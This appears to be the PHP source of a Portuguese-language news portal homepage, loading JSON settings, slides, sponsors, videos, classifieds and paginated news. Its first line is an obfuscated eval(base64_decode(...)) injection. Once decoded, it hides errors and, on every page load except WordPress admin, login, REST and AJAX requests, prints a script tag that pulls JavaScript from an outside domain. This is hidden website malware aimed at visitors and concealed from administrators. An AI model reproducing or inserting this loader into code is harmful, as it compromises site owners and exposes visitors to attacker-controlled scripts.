eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); // Portal de Notícias Profissional - Carrossel com AUTO-ROTAÇÃO COMPLETA // Slides, vídeos e classificados giram automaticamente // Compatível com PHP 5.6+ e CWP // Configurações de erro para produção error_reporting(0); ini_set('display_errors', 0); // Função para carregar dados JSON com fallback function loadJsonData($file, $default = []) { $path = __DIR__ . '/data/' . $file; if (file_exists($path)) { $content = file_get_contents($path); $data = json_decode($content, true); return $data !== null ? $data : $default; } return $default; } // Carregar todas as configurações $config = loadJsonData('config.json', [ 'site_name' => 'Portal de Notícias', 'site_subtitle' => 'Sua fonte confiável de informações atualizadas', 'logo' => '', 'splash_enabled' => true ]); $colors = loadJsonData('colors.json', [ 'primary' => '#6366f1', 'secondary' => '#8b5cf6' ]); $social = loadJsonData('social.json', [ 'whatsapp' => '', 'facebook' => '', 'instagram' => '', 'youtube' => '', 'tiktok' => '', 'android' => '', 'ios' => '', 'multiplataforma' => '' ]); $footer = loadJsonData('footer.json', [ 'city' => 'Sua Cidade', 'state' => 'Seu Estado', 'email' => 'contato@portal.com', 'whatsapp' => '(11) 99999-9999' ]); $players = loadJsonData('players.json', [ 'video' => ['active' => false, 'title' => 'TV Portal', 'code' => ''], 'audio' => ['active' => false, 'title' => 'Rádio Portal', 'url' => ''] ]); $sections = loadJsonData('sections.json', [ 'slides' => true, 'videos' => true, 'classifieds' => true, 'sponsors_left' => true, 'sponsors_right' => true ]); // Carregar dados de conteúdo $news = loadJsonData('news.json', []); $slides = loadJsonData('slides.json', []); $sponsors = loadJsonData('sponsors.json', []); $videos = loadJsonData('videos.json', []); $classifieds = loadJsonData('classifieds.json', []); // Filtrar apenas itens ativos $activeSlides = array_filter($slides, function($slide) { return isset($slide['active']) && $slide['active']; }); $activeSponsorsLeft = array_filter($sponsors, function($sponsor) { return isset($sponsor['active']) && $sponsor['active'] && $sponsor['position'] === 'left'; }); $activeSponsorsRight = array_filter($sponsors, function($sponsor) { return isset($sponsor['active']) && $sponsor['active'] && $sponsor['position'] === 'right'; }); $activeVideos = array_filter($videos, function($video) { return isset($video['active']) && $video['active']; }); $activeClassifieds = array_filter($classifieds, function($classified) { return isset($classified['active']) && $classified['active']; }); // Paginação de notícias - 4 notícias por página (2x2) $page = isset($_GET['page']) ? max(1, intval($_GET['page'])) : 1; $perPage = 4; // 2 colunas x 2 linhas = 4 notícias por página $totalNews = count($news); $totalPages = ceil($totalNews / $perPage); $offset = ($page - 1) * $perPage; $currentNews = array_slice($news, $offset, $perPage); // Função para extrair ID do vídeo do YouTube function getYouTubeVideoId($url) { preg_match('/(?:youtube\.com\/(?:[^\/]+\/.+\/|(?:v|e(?:mbed)?)\/|.*[?&]v=)|youtu\.be\/)([^"&?\/\s]{11})/', $url, $matches); return isset($matches[1]) ? $matches[1] : ''; } ?> -

Últimas Notícias

Nenhuma notícia disponível no momento.